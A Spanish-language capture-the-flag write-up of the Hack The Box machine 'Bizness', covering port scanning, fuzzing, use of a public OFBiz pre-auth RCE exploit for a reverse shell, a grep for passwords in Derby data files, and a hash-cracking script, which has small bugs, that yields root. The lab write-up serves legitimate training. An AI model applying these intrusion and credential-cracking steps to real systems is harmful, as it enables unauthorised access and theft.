HTB Bizness Writeup
Muy buenas con todos, el día de hoy voy a resolver la máquina Bizness
de HTB, espero que el procedimiento sea de su agrado y fácil de comprender.
Reconocimiento
Primero vemos si tenemos conexión con la máquina y de paso gracias al ttl
identificamos ante el tipo de máquina que estamos, en linux
este suele ser de 64 y en windows
de 128.
1
2
3
4
5
6
7
ping -c 1 10.10.11.252
PING 10.10.11.252 (10.10.11.252) 56(84) bytes of data.
64 bytes from 10.10.11.252: icmp_seq=1 ttl=63 time=95.2 ms
--- 10.10.11.252 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.228/95.228/95.228/0.000 ms
Vemos que el ttl
de la máquina es de 63, el cual está próximo a 64 por ende nos encontramos ante una máquina Linux
.
Ahora, con la herramienta nmap
lanzamos un escaneo en donde vamos a enumerar los puertos que se encuentran abiertos en la máquina.
1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.252 -oG ports
Aquí generamos un archivo en formato grepeable y hacemos uso de la función extarctPorts de s4vitar.
1
extractPorts ports
Ahora con el número de los puertos copiados en el portapapeles, lanzamos otro escaneo para enumerar el servicio que corren por los puertos.
1
nmap -sCV -p22,80,443,37607 10.10.11.252 -oN target
Aquí generamos un archivo en el formato normal de nmap
en donde se nos muestra más infomación de los servicios que corren por esos puertos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0
37607/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Vemos que se nos refleja un dominio, así que lo agregamos al /etc/hosts
, para que la máquina sepa a donde resolver.
1
2
3
4
5
127.0.0.1 localhost
::1 localhost
127.0.0.1 machinename.localhost machinename
10.10.11.252 bizness.htb
Nos dirigimos al navegador y vemos que nos redirige a https
, luego fuzeando un poco con wfuzz.
1
wfuzz -c -t 50 --hc=404 -w diccionario.txt -u https://bizness.htb/FUZZ/
Explotación de OFBiz RCE pre-auth
Vemos que nos encuentra una ruta control
y sobre esa ruta volvemos a fuzzear y nos encuentra login
. Allí nos sale un panel de auntenticación llamado OFBiz
, pero no tenemos ninguna credencial, en la parte de abajo de la web nos sale lo que parece ser una verisón así que buscamos alguna vulnerabilidad asociada y nos encontramos con en siguiente exploit, donde nos explican como es la vulnerabilidad y de que trata.
Procedemos a clonar el repositorio y a entablar una revshel.
Luego hacemos el tratamiento de la tty
1
2
3
4
5
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset xterm
export TEMR=xterm
Y podemos ver la flag del usuario.
Escalada de privilegios
Luego de enumerar, vemos que en la ruta /opt/ofbiz/runtime/data/derby/ofbiz/seg0
nos encontramos con algunos archivos .dat
que podrían contener datos interesantes, con la siguiente regex
buscamos algo que nos interese.
1
grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}' .
Vemos que hay un hash con un formato un tanto extraño, así que con el siguiente script vamos a tratar de descifrarlo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/bash3
import hashlib
import base64
import os
def cryptBytes(hash_type, salt, value):
if not hash_type:
hash_type = "SHA"
if not salt:
salt = base64.urlsafe_b64encode(oss.urandom(16)).decode('utf-8')
hash_obj = hashlib.new(hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
result = f"${hash_type}${salt}${base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')}"
return result
def getDecryptedBytes(hash_type, salt, value):
try:
hash_obj = hashlib.new(hash_type)
hash_obj.update(salt.encode('utf-8'))
hash_obj.update(value)
hashed_bytes = hash_obj.digest()
return base64.urlsafe_b64encode(hashed_bytes).decode('utf-8').replace('+', '.')
except hashlib.NoSuchAlgorithmException as e:
raise Exception(f"Error while computng hash of type {hash_type}: {e}")
hash_type = "SHA1"
salt = "d"
search = "$SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I="
wordlist = 'rockyou.txt'
with open(wordlist, 'r', encoding="latin-1") as password_list:
for password in password_list:
value = password.strip()
hashed_password = cryptBytes(hash_type, salt, value.encode('utf-8'))
if hashed_password == search:
print(f'Found password:{value}, hash:{hashed_password}')
break
Una vez obtenida la contraseña probamos con el usuario root y vemos que funciona y ahora ya tenemos podemos ver la root.txt